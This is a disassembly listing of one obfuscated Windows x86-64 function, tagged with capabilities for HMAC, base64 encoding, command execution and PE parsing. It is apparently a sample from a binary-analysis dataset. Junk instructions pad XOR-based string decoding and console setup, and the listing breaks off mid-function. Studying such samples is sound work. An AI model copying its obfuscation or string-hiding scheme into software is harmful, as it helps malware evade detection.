Function at 0x140035eae
Capabilities:
Authenticate hmac
Encode data using base64
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
shld ax, r11w, 0x5c
sbb ah, 0xee
mov ah, 0xd5
mov qword [rsp + 0x10], rsi
lahf
mov qword [rsp + 0x18], rdi
mov ax, r10w
lahf
ror ax, cl
mov qword [rsp + 0x20], r12
rcr al, cl
xadd al, al
ror ax, 0x36
push rbp
push r14
bsr ebp, r12d
adc ebp, 0x6ad22bd3
push r15
btr rbp, 0xc7
adc bpl, bl
lea rbp, [rsp - 0x990]
sal ah, 0x8f
stc
mov rax, r14
sub rsp, 0xa90
sar al, cl
shl ah, cl
mov rax, qword [0x14002b010]
xor rax, rsp
jmp 0x140035f20
mov qword [rbp + 0x988], rax
jmp 0x140035f2c
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
jmp 0x140035f3f
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
lea rcx, [0x14002bdc0]
jmp 0x140035f5f
call fcn.14001de80
movzx ecx, byte [rax]
cmp r10b, dl
xor cl, 0x77
jmp 0x140035f72
mov byte [rsp + 0x30], cl
mov cx, 0xccf
mov cl, bpl
bswap cx
mov word [rsp + 0x31], 0x100
movzx rcx, r14w
movsx rcx, si
mov cx, r15w
lea rcx, [rsp + 0x30]
call fcn.14001ac60
lea rcx, [0x14002bb20]
jmp 0x140035fa9
call fcn.14001de80
movzx ecx, byte [rax]
not bh
xor cl, 0x43
movsxd rbx, ecx
movzx ebx, ax
mov byte [rsp + 0x38], cl
mov rbx, qword [0x14002bb30]
movzx rcx, r8w
xchg ch, ch
bswap ecx
lea rcx, [0x14002bb20]
jmp 0x140035fdb
call fcn.14001de80
mov rcx, rax
add ax, 0x31b6
xor edx, edx
sar al, 0x77
mov eax, 1
cmp r10w, r11w
div rbx
movzx eax, byte [rcx + rdx]
bswap cx
xor al, 0x4f
movsx ebx, dx
mov byte [rsp + 0x39], al
movsx rbx, cx
mov rbx, qword [0x14002bb30]
cmovnp cx, ax
lea rcx, [0x14002bb20]
jmp 0x140036023
call fcn.14001de80
mov rcx, rax
rcr rax, 0xa4
xor edx, edx
cdqe
mov eax, 2
cmp ebp, ecx
div rbx
rcr ebx, 0xc
sar rbx, cl
adc bx, bp
movzx eax, byte [rcx + rdx]
shld rbx, r11, 0x5d
xor al, 0x4e
movsx bx, cl
mov byte [rsp + 0x3a], al
setns cl
movsx ecx, bp
mov rbx, qword [0x14002bb30]
not ch
lea rcx, [0x14002bb20]
jmp 0x140036074
call fcn.14001de80
mov rcx, rax
movsx eax, sp
xor edx, edx
clc
mov eax, 3
div rbx
sal bx, cl
movzx eax, byte [rcx + rdx]
rcr cl, cl
xor al, 0x4f
movsx ecx, cx
setae cl
mov byte [rsp + 0x3b], al
mov rbx, qword [0x14002bb30]
setnp ch
lea rcx, [0x14002bb20]
call fcn.14001de80
mov rcx, rax
xor edx, edx
rol al, 0xf3
mov eax, 4
stc
div rbx
shl bh, 0xa4
movzx eax, byte [rcx + rdx]
sub rbx, r13
clc
bts rbx, rcx
xor al, 0x55
movsx ebx, r11w
mov byte [rsp + 0x3c], al
movsx cx, spl
movzx rcx, r15w
mov rbx, qword [0x14002bb30]
xchg ch, cl
movzx ecx, dx
movsx cx, spl
lea rcx, [0x14002bb20]
jmp 0x140036105
call fcn.14001de80
mov r8, rax
xor edx, edx
mov eax, 5
div rbx
btc cx, 0x37
movzx cx, r8b
rol ax, 0xf
movzx eax, byte [r8 + rdx]
shr rbx, cl
xor al, 0x54
mov byte [rsp + 0x3d], al
cmove cx, r15w
movsxd rcx, r11d
mov rbx, qword [0x14002bb30]
movsxd rcx, ecx
lea rcx, [0x14002bb20]
call fcn.14001de80
mov rcx, rax
test spl, 0xf1
btc ax, 0xf5
sub edx, edx
xor al, spl
stc
mov al, cl
mov eax, 6
clc
cmc
jmp 0x140036171
div rbx
or ax, 0x24f2
movzx eax, byte [rcx + rdx]
sar ecx, 0xe8
xor al, 0x24
movsx rcx, bx
movsxd rcx, r10d
mov cl, 0xd7
mov byte [rsp + 0x3e], al
seta ch
mov word [rsp + 0x3f], 0x100
lea rcx, [rsp + 0x38]
jmp 0x1400361a2
call fcn.14001ac90
mov r9, rdi
movzx rcx, r13w
cwd
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov ch, 0x5c
lea rcx, [rbp + 0x8b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea rcx, [0x14002be00]
jmp 0x1400361d6
call fcn.14001de80
movzx ecx, byte [rax]
xadd al, ah
sub ah, 0x3a
xor cl, 0x43
setne al
movzx rax, r9w
movsx bx, dil
movsx eax, cl
movsx bx, cl
mov word [rbp + 8], ax
mov rbx, qword [0x14002be10]
lea rcx, [0x14002be00]
jmp 0x140036211
call fcn.14001de80
mov rcx, rax
bsr rax, r12
xor edx, edx
shl ax, 0xf4
mov eax, 1
cmc
jmp 0x14003622e
div rbx
ror ah, cl
rcr eax, 0x32
movzx eax, byte [rcx + rdx]
xor al, 0x3a
movsx eax, al
mov word [rbp + 0xa], ax
sub r12d, r12d
cdq
movsx ecx, cx
cmovle dx, si
mov word [rbp + 0xc], r12w
mov byte [rbp + 0xe], 1
cdq
sets cl
lea rdx, [rbp + 0x948]
movzx rcx, r8w
lea rcx, [rbp + 8]
call fcn.140006170
nop
lea rcx, [0x14002be00]
jmp 0x14003627c
call fcn.14001de80
movzx ecx, byte [rax]
rol al, 0xd0
cwde
xor cl, 0x44
movzx rax, di
movsx eax, cl
mov bl, 0x6c
movsx cx, ah
movzx ebx, di
mov word [rbp + 0x10], ax
cmove bx, cx
mov cl, 0x2c
mov rbx, qword [0x14002be10]
xchg cx, cx
movsx ecx, cx
lea rcx, [0x14002be00]
jmp 0x1400362be
call fcn.14001de80
mov rcx, rax
seta al
and ah, bh
xor edx, edx
stc
add al, r8b
sal ah, 0x63
mov eax, 1
div rbx
movzx eax, bp
movzx eax, byte [rcx + rdx]
shld rcx, r10, 0x2e
sar ch, 0x44
cdq
xor al, 0x3a
mov dh, bl
cqo
cmovnp rdx, rsp
movsx eax, al
movsx edx, dx
movsx rcx, r11w
mov word [rbp + 0x12], ax
mov word [rbp + 0x14], r12w
not rdx
xchg dx, dx
mov byte [rbp + 0x16], 1
movsx cx, sil
mov cl, spl
lea rdx, [rbp + 0x968]
lea rcx, [rbp + 0x10]
jmp 0x14003632b
call fcn.140006170
nop
lea rcx, [0x14002be00]
jmp 0x14003633d
call fcn.14001de80
movzx edx, byte [rax]
ror cl, 0x4f
xor dl, 0x45
movsx cx, r11b
movsx eax, dl
movzx bx, r10b
mov bx, 0x6e08
mov cl, dil
mov word [rbp + 0x18], ax
movsx cx, sil
mov bh, ch
not ecx
mov rbx, qword [0x14002be10]
jmp 0x140036380
lea rcx, [0x14002be00]
call fcn.14001de80
mov rcx, rax
clc
sar eax, cl
xor edx, edx
mov eax, 1
test r10, rdx
div rbx
shr rax, cl
movzx eax, byte [rcx + rdx]
ror dx, cl
btr rdx, 0x21
shld ecx, r8d, 0xdd
xor al, 0x3a
xchg edx, edx
cwd
movsx eax, al
mov word [rbp + 0x1a], ax
mov word [rbp + 0x1c], r12w
movsx ecx, r8w
movsx dx, spl
mov dl, bpl
mov byte [rbp + 0x1e], 1
movsxd rdx, r12d
movzx rdx, r13w
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x18]
call fcn.140006170
nop
jmp 0x1400363f2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8d8], xmm0
setp dh
cqo
movsx edx, di
mov qword [rbp + 0x8e8], rax
cqo
lea rdx, [rbp + 0x948]
lea rcx, [rbp + 0x470]
call fcn.14001b550
nop
lea rdx, [rbp + 0x968]
jmp 0x140036433
lea rcx, [rbp + 0x490]
call fcn.14001b550
nop
movsxd rdx, r11d
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x4b0]
jmp 0x140036456
call fcn.14001b550
nop
lea rax, [rbp + 0x470]
cmovno cx, sp
bswap dx
mov qword [rbp + 0x450], rax
lea rax, [rbp + 0x4d0]
movsx rcx, bx
mov qword [rbp + 0x458], rax
bswap r8d
lea r8, [rbp - 0x3f]
bswap dx
lea rdx, [rbp + 0x450]
jmp 0x14003649d
lea rcx, [rbp + 0x8d8]
jmp 0x1400364a9
call fcn.14001ae30
nop
not rdx
lea r9, [fcn.14001b4e0]
setl dh
not dh
mov rcx, 0x52f97c6d
lea edx, [r12 + 0x20]
movsx ecx, ax
movzx r8d, r9w
lea r8d, [r12 + 3]
xchg cx, cx
mov rcx, rsp
lea rcx, [rbp + 0x470]
jmp 0x1400364e8
call fcn.140020c68
call qword [sym.imp.MSVCP140.dll__Thrd_hardware_concurrency]
mov r15d, eax
mov byte [rbp + 0x8b8], r12b
bsr r14w, dx
clc
mov rsi, qword [rbp + 0x8d8]
btc r14w, ax
mov r14, qword [rbp + 0x8e0]
test ah, 0xa0
jmp 0x14003651e
cmp rsi, r14
je 0x140043a89
nop word [rax + rax]
cwd
lea r8, [0x140024a60]
not edx
movsx edx, r9w
mov rdx, rsi
bswap cx
setb ch
lea rcx, [rbp + 0x908]
call fcn.14001e280
nop
jmp 0x140036557
xorps xmm0, xmm0
sub eax, eax
movups xmmword [rbp + 0x8f0], xmm0
movsx cx, dl
movzx cx, bh
mov cl, 0xe0
mov qword [rbp + 0x900], rax
mov ch, 0x1a
not rcx
movzx ecx, cx
lea rcx, [0x14002be40]
jmp 0x140036589
call fcn.14001de80
movzx ecx, byte [rax]
movzx rax, di
add ebx, eax
bts ebx, eax
xor cl, 0x78
cwde
movsx eax, cl
jmp 0x1400365af
mov word [rbp + 0x270], ax
movzx rcx, r12w
mov rbx, qword [0x14002be50]
cmovg cx, r15w
lea rcx, [0x14002be40]
jmp 0x1400365d2
call fcn.14001de80
mov rcx, rax
btr eax, 0xe1
and rax, r12
sub edx, edx
neg al
mov eax, 1
test rcx, r12
cmc
div rbx
shl bx, cl
mov eax, 0x580d0178
movzx eax, byte [rcx + rdx]
xor al, 0x36
movzx ecx, r14w
movsx eax, al
movzx cx, r8b
not ecx
bswap bx
mov word [rbp + 0x272], ax
bswap cx
mov rbx, qword [0x14002be50]
xchg cx, cx
jmp 0x140036629
lea rcx, [0x14002be40]
call fcn.14001de80
mov rcx, rax
cmp r11w, r11w
mov eax, 0x1de92879
rcl ax, 0x11
sub edx, edx
mov eax, 2
cmp r12, rcx
clc
div rbx
shr ah, cl
movzx eax, byte [rcx + rdx]
sal bx, cl
or cx, 0x6d51
rol bl, 0x29
xor al, 0x34
movsx eax, al
movsx ecx, r13w
movzx bx, r9b
cmove rbx, r8
mov word [rbp + 0x274], ax
seto cl
bswap ebx
mov rbx, qword [0x14002be50]
setae cl
movzx rcx, bx
movsx ecx, r8w
lea rcx, [0x14002be40]
jmp 0x1400366a0
call fcn.14001de80
mov rcx, rax
btc eax, edi
test bpl, 9
bts ax, bp
sub edx, edx
shl rax, cl
rol eax, 0x3c
mov eax, 3
div rbx
movzx eax, byte [rcx + rdx]
adc cx, 0x4771
sal cx, cl
xor al, 0x64
movsx eax, al
bswap cx
mov word [rbp + 0x276], ax
cmovne cx, si
movzx rbx, sp
movsx bx, r15b
mov rbx, qword [0x14002be50]
lea rcx, [0x14002be40]
jmp 0x1400366fe
call fcn.14001de80
mov rcx, rax
sbb eax, 0x3156cc8
rcr ax, 0xb3
xor al, 0x10
xor edx, edx
mov eax, 4
div rbx
movzx eax, byte [rcx + rdx]
bt ecx, esp
bt ebx, 0xd1
setae cl
xor al, 0x62
cmovp cx, di
movsx eax, al
not ch
mov word [rbp + 0x278], ax
movsx ebx, r15w
mov rbx, qword [0x14002be50]
lea rcx, [0x14002be40]
jmp 0x140036752
call fcn.14001de80
mov rcx, rax
sub al, sil
movsxd rax, r9d
test r14d, r12d
xor edx, edx
cmovne eax, edi
sbb rax, 0x385b4f3f
rol ax, 0x3e
mov eax, 5
test r14w, di
cmc
div rbx
movsx bx, sil
btr ebx, ecx
movzx eax, byte [rcx + rdx]
bswap ebx
sal bl, cl
shl ch, cl
xor al, 0x67
mov cl, 0x99
movzx rbx, ax
movsx rbx, di
movsx eax, al
movsx bx, sil
xchg bh, bh
movsx ebx, ax
mov word [rbp + 0x27a], ax
mov rbx, qword [0x14002be50]
jmp 0x1400367c0
lea rcx, [0x14002be40]
jmp 0x1400367cc
call fcn.14001de80
mov rcx, rax
xor edx, edx
jmp 0x1400367db
mov eax, 6
test r15b, 0xd1
clc
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x2e
bswap bx
mov cx, r10w
movsx cx, r12b
movsx eax, al
xchg ch, bl
jmp 0x140036808
mov word [rbp + 0x27c], ax
mov rbx, qword [0x14002be50]
movsx ecx, ax
cmovp cx, r14w
mov cl, dil
lea rcx, [0x14002be40]
jmp 0x14003682d
call fcn.14001de80
mov rcx, rax
bsr rax, rbx
sub edx, edx
mov eax, 7
test r10b, 0x11
div rbx
test r10d, 0x243a2677
movzx eax, byte [rcx + rdx]
and cl, 0x13
cmovge rcx, rcx
xor al, 0x64
movzx cx, r8b
not rcx
bswap rbx
movsx eax, al
movsx ecx, r10w
mov word [rbp + 0x27e], ax
mov ch, 0xd5
mov rbx, qword [0x14002be50]
lea rcx, [0x14002be40]
jmp 0x14003688a
call fcn.14001de80
mov rcx, rax
clc
sub edx, edx
sub ax, di
ror ax, cl
mov eax, 8
jmp 0x1400368a5
div rbx
shld rax, rsi, 0xb4
rcr ah, 0x67
movzx eax, byte [rcx + rdx]
shl ch, cl
sbb cl, bh
xor al, 0x6c
movsx eax, al
movsx rcx, r15w
movzx rbx, r12w
mov word [rbp + 0x280], ax
mov rbx, qword [0x14002be50]
not cx
movzx cx, ah
setl cl
lea rcx, [0x14002be40]
jmp 0x1400368e9
call fcn.14001de80
mov rcx, rax
movsx eax, si
movzx eax, ax
xor edx, edx
xadd al, al
mov al, 0xf
mov eax, 9
clc
cmc
div rbx
movzx eax, byte [rcx + rdx]
movsx rdx, r9w
xor al, 0x6c
movsx eax, al
mov word [rbp + 0x282], ax
xor eax, eax
movzx dx, sil
cqo
mov word [rbp + 0x284], ax
not dx
movsxd rcx, ecx
mov byte [rbp + 0x286], 1
movzx dx, r12b
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x270]
jmp 0x140036951
call fcn.14001aa70
nop
lea rcx, [0x14002bd20]
jmp 0x140036963
call fcn.14001de80
movzx ecx, byte [rax]
xor cl, 0x69
mov eax, 0x3b5c49dd
movsx eax, cl
movzx ecx, dx
movzx bx, sil
mov word [rbp + 0x258], ax
bswap ebx
movsxd rbx, ebx
mov rbx, qword [0x14002bd30]
bswap cx
setne ch
jmp 0x14003699c
lea rcx, [0x14002bd20]
jmp 0x1400369a8
call fcn.14001de80
mov rcx, rax
or rax, rdx
bt rax, 0xc0
ror al, 0x60
xor edx, edx
cbw
sub al, r9b
bswap ax
mov eax, 1
stc
cmp r14d, eax
div rbx
sub rax, 0x53856220
movsxd rax, r15d
movzx eax, byte [rcx + rdx]
sbb cl, bpl
xor al, 0x64
movzx ecx, di
movsx ecx, r14w
movsx eax, al
jmp 0x1400369fb
mov word [rbp + 0x25a], ax
mov rbx, qword [0x14002bd30]
movsx cx, bh
lea rcx, [0x14002bd20]
call fcn.14001de80
mov rcx, rax
btr ax, 0x42
sub edx, edx
bts ax, bx
sar ax, 0xf
mov eax, 2
cmp bpl, r13b
div rbx
xor bl, ch
shld eax, edi, 0x3e
movzx eax, byte [rcx + rdx]
xor al, 0x61
not bh
bswap cx
movsx eax, al
jmp 0x140036a52
mov word [rbp + 0x25c], ax
movsx cx, r11b
mov rbx, qword [0x14002bd30]
cmove rcx, rbx
movzx ecx, cx
lea rcx, [0x14002bd20]
jmp 0x140036a78
call fcn.14001de80
mov rcx, rax
sete ah
sub edx, edx
mov eax, 3
cmc
div rbx
shl ah, cl
ror ax, cl
movzx eax, byte [rcx + rdx]
shr ebx, cl
xor al, 0x36
not ecx
movsx eax, al
mov word [rbp + 0x25e], ax
mov cl, r12b
movsx cx, dil
mov rbx, qword [0x14002bd30]
cmove ecx, ebp
mov rcx, 0x55c1090a
lea rcx, [0x14002bd20]
jmp 0x140036acc
call fcn.14001de80
mov rcx, rax
or ax, r8w
movzx ax, bpl
sub edx, edx
dec ah
cmove rax, rax
mov eax, 4
cmp r13b, 0xfe
jmp 0x140036af3
div rbx
xchg al, bh
movzx eax, byte [rcx + rdx]
xor al, 0x34
not rcx
cmovl bx, r10w
movsx eax, al
mov word [rbp + 0x260], ax
cmovp cx, dx
bswap ecx
mov rbx, qword [0x14002bd30]
not cl
jmp 0x140036b27
lea rcx, [0x14002bd20]
jmp 0x140036b33
call fcn.14001de80
mov rcx, rax
add ax, 0x14b7
test r10b, 0x40
xor edx, edx
movzx ax, r9b
sub ax, 0x6f22
bsr eax, edx
mov eax, 5
clc
div rbx
clc
rol ebx, cl
bswap bx
movzx eax, byte [rcx + rdx]
sar cl, cl
xor al, 0x2e
movsx eax, al
movzx rcx, bp
mov bl, 0x39
mov word [rbp + 0x262], ax
jmp 0x140036b83
mov rbx, qword [0x14002bd30]
movsxd rcx, r12d
movzx ecx, bp
lea rcx, [0x14002bd20]
jmp 0x140036b9c
call fcn.14001de80
mov rcx, rax
xor al, 0x90
cwde
cmove rax, r8
sub edx, edx
neg ah
rcl ax, 0xa
mov eax, 6
cmp r15b, 0x3e
stc
div rbx
movzx eax, byte [rcx + rdx]
rcl cx, 0x43
movsxd rbx, r12d
xor al, 0x64
movsxd rbx, ebx
movsx eax, al
movzx rbx, r12w
not ecx
movzx cx, r12b
mov word [rbp + 0x264], ax
movsxd rcx, eax
mov rbx, qword [0x14002bd30]
movzx rcx, r15w
lea rcx, [0x14002bd20]
call fcn.14001de80
mov rcx, rax
bts rax, r11
xor edx, edx
and al, 0xa0
add rax, 0x7b52223a
cwde
mov eax, 7
jmp 0x140036c1c
div rbx
movzx eax, byte [rcx + rdx]
rcr cl, 0x8f
movzx ecx, sp
cmp bpl, 0xdd
xor al, 0x6c
movsx rbx, dx
movsxd rcx, r14d
bswap cx
movsx eax, al
movzx ebx, r8w
movsx rbx, r10w
mov word [rbp + 0x266], ax
xchg ecx, ecx
mov rbx, qword [0x14002bd30]
lea rcx, [0x14002bd20]
jmp 0x140036c60
call fcn.14001de80
mov rcx, rax
sal al, 0x14
sbb ax, di
sub edx, edx
dec eax
mov eax, 8
div rbx
movzx eax, byte [rcx + rdx]
rcr ecx, cl
btr dx, 0x9c
xor al, 0x6c
movsx eax, al
not cl
rol cl, cl
mov word [rbp + 0x268], ax
or edx, edi
xor eax, eax
cqo
mov rcx, rcx
movsx rcx, dx
mov word [rbp + 0x26a], ax
movzx cx, bh
xchg rdx, rcx
mov byte [rbp + 0x26c], 1
setae dl
movsx rcx, di
mov rdx, 0x752f2980
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x258]
call fcn.14001a8a0
nop
lea rcx, [0x14002bbe0]
jmp 0x140036ce5
call fcn.14001de80
movzx ecx, byte [rax]
xor cl, 0x69
movsx eax, cl
mov cx, 0x7d4e
movsx rcx, cx
mov word [rbp + 0x208], ax
jmp 0x140036d0a
mov rbx, qword [0x14002bbf0]
lea rcx, [0x14002bbe0]
jmp 0x140036d1d
call fcn.14001de80
mov rcx, rax
sub ah, 0x85
not ax
shl ah, cl
xor edx, edx
mov eax, 1
clc
test esp, 0xa9b46ba
div rbx
movzx eax, byte [rcx + rdx]
btr cx, 0x3c
ror ch, 0xa0
xor al, 0x64
jmp 0x140036d54
movsx eax, al
mov bl, 0xd0
not bl
mov word [rbp + 0x20a], ax
mov rbx, qword [0x14002bbf0]
lea rcx, [0x14002bbe0]
jmp 0x140036d75
call fcn.14001de80
mov rcx, rax
inc ah
adc ax, r14w
sub edx, edx
ror rax, 0xc9
mov eax, 2
div rbx
and ah, 0x1a
sar ebx, 0xa5
rol rbx, cl
movzx eax, byte [rcx + rdx]
movsx cx, r13b
mov cl, 0x25
add bl, dil
xor al, 0x61
movzx ecx, r14w
mov cx, 0x69ca
mov cl, r14b
movsx eax, al
mov bx, bp
bswap rbx
movsx rbx, r10w
mov word [rbp + 0x20c], ax
mov rbx, qword [0x14002bbf0]
jmp 0x140036dda
lea rcx, [0x14002bbe0]
jmp 0x140036de6
call fcn.14001de80
mov rcx, rax
mov ah, 0x94
sub edx, edx
bswap ax
mov eax, 3
test r10b, 0xa6
jmp 0x140036e04
div rbx
movzx rbx, cx
movsx ebx, cx
btr ebx, edi
movzx eax, byte [rcx + rdx]
shl rcx, cl
and cl, 0xc0
xor al, 0x2e
movsx eax, al
mov cl, sil
mov ch, 1
mov word [rbp + 0x20e], ax
xchg bl, bh
movsx rcx, ax
mov rbx, qword [0x14002bbf0]
movsxd rcx, r9d
not cx
lea rcx, [0x14002bbe0]
jmp 0x140036e4c
call fcn.14001de80
mov rcx, rax
ror rax, cl
add ah, 4
xor edx, edx
mov eax, 4
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x64
movsx rbx, r8w
movsx eax, al
movzx ecx, dx
jmp 0x140036e79
mov word [rbp + 0x210], ax
jmp 0x140036e85
mov rbx, qword [0x14002bbf0]
movsx rcx, dx
movsx ecx, cx
jmp 0x140036e98
lea rcx, [0x14002bbe0]
jmp 0x140036ea4
call fcn.14001de80
mov rcx, rax
sub ax, r15w
movsx eax, bp
sub edx, edx
adc al, 0xa7
mov eax, 5
cmp r9w, 0x1881
div rbx
sar bl, 0xa3
movzx eax, byte [rcx + rdx]
xor al, 0x6c
movsx eax, al
movsx ecx, si
movzx rbx, di
xchg bx, bx
mov word [rbp + 0x212], ax
not cx
bswap rbx
mov rbx, qword [0x14002bbf0]
movsx rcx, r10w
movsx ecx, r10w
lea rcx, [0x14002bbe0]
jmp 0x140036f03
call fcn.14001de80
mov rcx, rax
or al, r14b
xor edx, edx
mov eax, 6
test r15, 0x722755a8
div rbx
dec eax
movzx eax, byte [rcx + rdx]
dec rdx
xadd ecx, edx
xor al, 0x6c
movsx eax, al
rcl dl, 0x27
mov word [rbp + 0x214], ax
movzx ecx, r10w
cwd
xor eax, eax
cdq
cqo
mov word [rbp + 0x216], ax
movsxd rcx, r12d
xchg edx, ecx
jmp 0x140036f56
mov byte [rbp + 0x218], 1
cqo
lea rdx, [rbp + 0x510]
bswap cx
lea rcx, [rbp + 0x208]
jmp 0x140036f75
call fcn.14001a730
nop
movsx ecx, r14w
jmp 0x140036f84
lea rcx, [0x14002be40]
jmp 0x140036f90
call fcn.14001de80
movzx ecx, byte [rax]
cwde
cmc
xor cl, 0x53
not rbx
bswap bx
movsx eax, cl
movsx ebx, bx
xchg rcx, rcx
movzx cx, spl
mov word [rbp + 0x288], ax
movzx rcx, ax
mov rbx, qword [0x14002be50]
not ecx
movzx cx, r13b
lea rcx, [0x14002be40]
jmp 0x140036fd6
call fcn.14001de80
mov rcx, rax
sal al, 0x8f
xor edx, edx
bts eax, r8d
mov eax, 1
cmc
div rbx
xor bx, r8w
bts ebx, r12d
movzx eax, byte [rcx + rdx]
cmp bpl, r11b
shl ch, cl
inc cl
xor al, 0x63
movsxd rbx, r11d
movsx ecx, r10w
cmovle bx, bx
movsx eax, al
movsx cx, spl
not cl
mov word [rbp + 0x28a], ax
mov ebx, 0x2ca84548
cmovl cx, r11w
mov rbx, qword [0x14002be50]
mov rcx, rbx
movsxd rcx, ebx
movsx rcx, bp
lea rcx, [0x14002be40]
jmp 0x140037048
call fcn.14001de80
mov rcx, rax
movsx eax, di
ror ax, cl
cmp ebx, 0x76e35528
xor edx, edx
mov eax, 2
clc
cmc
stc
div rbx
movzx eax, byte [rcx + rdx]
dec ebx
sar bl, cl
mov cl, r11b
xor al, 0x79
mov bx, 0x36e7
jmp 0x140037082
movsx eax, al
movzx cx, ch
mov word [rbp + 0x28c], ax
movsxd rcx, esi
not bl
mov rbx, qword [0x14002be50]
mov cl, 0x8b
bswap cx
movsxd rcx, esi
lea rcx, [0x14002be40]
jmp 0x1400370b0
call fcn.14001de80
mov rcx, rax
mov eax, 0x55d34670
btc ax, 0x44
stc
xor edx, edx
mov eax, 3
div rbx
movzx eax, byte [rcx + rdx]
bswap cx
sar bx, 0x2d
jmp 0x1400370dd
xor al, 0x6c
movsx eax, al
movzx bx, r10b
mov word [rbp + 0x28e], ax
mov rbx, qword [0x14002be50]
movsx cx, dl
movzx cx, r12b
lea rcx, [0x14002be40]
call fcn.14001de80
mov rcx, rax
xor edx, edx
stc
shr al, cl
mov eax, 4
cmp r10b, r11b
div rbx
shr al, cl
btr bx, 0xab
movzx eax, byte [rcx + rdx]
btc ecx, 0x5b
sub ch, 0xeb
xor al, 0x6c
movzx rcx, r14w
movsx eax, al
cmovbe cx, bp
movsx cx, r15b
bswap rbx
mov word [rbp + 0x290], ax
jmp 0x140037153
mov rbx, qword [0x14002be50]
movzx rcx, di
movsx rcx, dx
movsxd rcx, r13d
lea rcx, [0x14002be40]
jmp 0x140037171
call fcn.14001de80
mov rcx, rax
xadd ax, ax
xor edx, edx
cmp ebp, edi
mov eax, 5
div rbx
cmp si, r13w
sar rax, 0xac
dec ah
movzx eax, byte [rcx + rdx]
xor al, 0x61
movzx rbx, bx
movsx eax, al
movzx ebx, r13w
movzx rbx, r15w
movsx ecx, r10w
mov word [rbp + 0x292], ax
not ecx
mov rbx, qword [0x14002be50]
lea rcx, [0x14002be40]
jmp 0x1400371c8
call fcn.14001de80
mov rcx, rax
btc ax, 0x1f
cmovge eax, edi
setge ah
xor edx, edx
mov eax, 6
clc
jmp 0x1400371e8
div rbx
btr rax, 0x98
shr bh, cl
bswap rax
movzx eax, byte [rcx + rdx]
xor al, 0x2e
not cx
seto bh
movsxd rcx, edi
movsx eax, al
mov word [rbp + 0x294], ax
movsx ecx, si
movzx rbx, r15w
bswap ecx
mov rbx, qword [0x14002be50]
jmp 0x140037229
lea rcx, [0x14002be40]
jmp 0x140037235
call fcn.14001de80
mov rcx, rax
xor edx, edx
and ax, 0xaa5
and al, dil
xor al, dil
mov eax, 7
cmp bh, al
div rbx
neg rbx
sar rax, cl
movzx eax, byte [rcx + rdx]
xor al, 0x65
cmovno rcx, r8
movsx bx, r8b
movsx eax, al
movzx ecx, di
sets bh
movsx ecx, r13w
mov word [rbp + 0x296], ax
mov cx, ax
movzx ebx, sp
mov rbx, qword [0x14002be50]
lea rcx, [0x14002be40]
jmp 0x140037295
call fcn.14001de80
mov rcx, rax
dec ah
test si, 0x420
and ax, sp
sub edx, edx
movsx ax, r8b
jmp 0x1400372b4
mov eax, 8
cmc
div rbx
movzx rbx, r11w
xadd bl, ah
sal al, cl
movzx eax, byte [rcx + rdx]
xor al, 0x78
movsx eax, al
seto cl
movsx rcx, r9w
mov word [rbp + 0x298], ax
mov rbx, qword [0x14002be50]
movsx cx, r9b
lea rcx, [0x14002be40]
jmp 0x1400372f5
call fcn.14001de80
mov rcx, rax
xor edx, edx
rol eax, 0xe4
or al, r14b
mov eax, 9
cmp bpl, bl
test rax, 0x6ce15248
div rbx
movzx eax, byte [rcx + rdx]
rcr ecx, 0xa4
bswap rdx
sar dx, cl
xor al, 0x65
movsx eax, al
mov word [rbp + 0x29a], ax
rcl dx, cl
cdq
sub eax, eax
cwd
cmovbe dx, r14w
mov word [rbp + 0x29c], ax
movzx rdx, cx
movsxd rdx, r12d
mov byte [rbp + 0x29e], 1
not dl
movzx rdx, r8w
cmovo rcx, rbp
lea rdx, [rbp + 0x530]
movzx cx, spl
lea rcx, [rbp + 0x288]
jmp 0x140037373
call fcn.14001aa70
nop
movzx cx, sil
lea rcx, [0x14002bb80]
call fcn.14001de80
movzx ecx, byte [rax]
cwde
movzx rbx, r14w
not bx
xor cl, 0x53
movsx eax, cl
movsx ebx, bx
cmova rbx, r12
mov word [rbp + 0x318], ax
mov rbx, qword [0x14002bb90]
xchg cl, ch
movzx rcx, r9w
lea rcx, [0x14002bb80]
jmp 0x1400373c2
call fcn.14001de80
mov rcx, rax
sub edx, edx
mov eax, 1
cmc
cmp r10b, r15b
div rbx
movzx eax, byte [rcx + rdx]
not ch
xor al, 0x63
movsx eax, al
movsxd rcx, esi
movsx ecx, r11w
mov word [rbp + 0x31a], ax
bswap ecx
mov rbx, qword [0x14002bb90]
movsx ecx, r9w
lea rcx, [0x14002bb80]
jmp 0x14003740a
call fcn.14001de80
mov rcx, rax
and ax, 0x71bc
movzx ax, al
xor edx, edx
mov eax, 2
cmp r10b, al
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x79
setns ch
movsx eax, al
mov word [rbp + 0x31c], ax
bswap bx
sets bh
cmovns rbx, r9
mov rbx, qword [0x14002bb90]
lea rcx, [0x14002bb80]
jmp 0x140037457
call fcn.14001de80
mov rcx, rax
shr al, 2
btr ax, sp
rcr ah, cl
xor edx, edx
mov eax, 3
test cl, r14b
cmp bpl, spl
div rbx
mov ax, 0xd5b
add ebx, esp
movzx eax, byte [rcx + rdx]
bsf rcx, r12
bswap rbx
sub ch, dl
xor al, 0x6c
movsx rbx, r14w
mov bl, r12b
movsx eax, al
movzx cx, r9b
movsxd rcx, eax
not bl
mov word [rbp + 0x31e], ax
movzx ebx, si
not cl
cmovge rcx, r10
mov rbx, qword [0x14002bb90]
lea rcx, [0x14002bb80]
call fcn.14001de80
mov rcx, rax
neg ax
xor edx, edx
mov eax, 4
div rbx
sbb al, 0x87
movzx eax, byte [rcx + rdx]
sal cl, cl
xor al, 0x6c
mov bl, r13b
movsx eax, al
movsx bx, dil
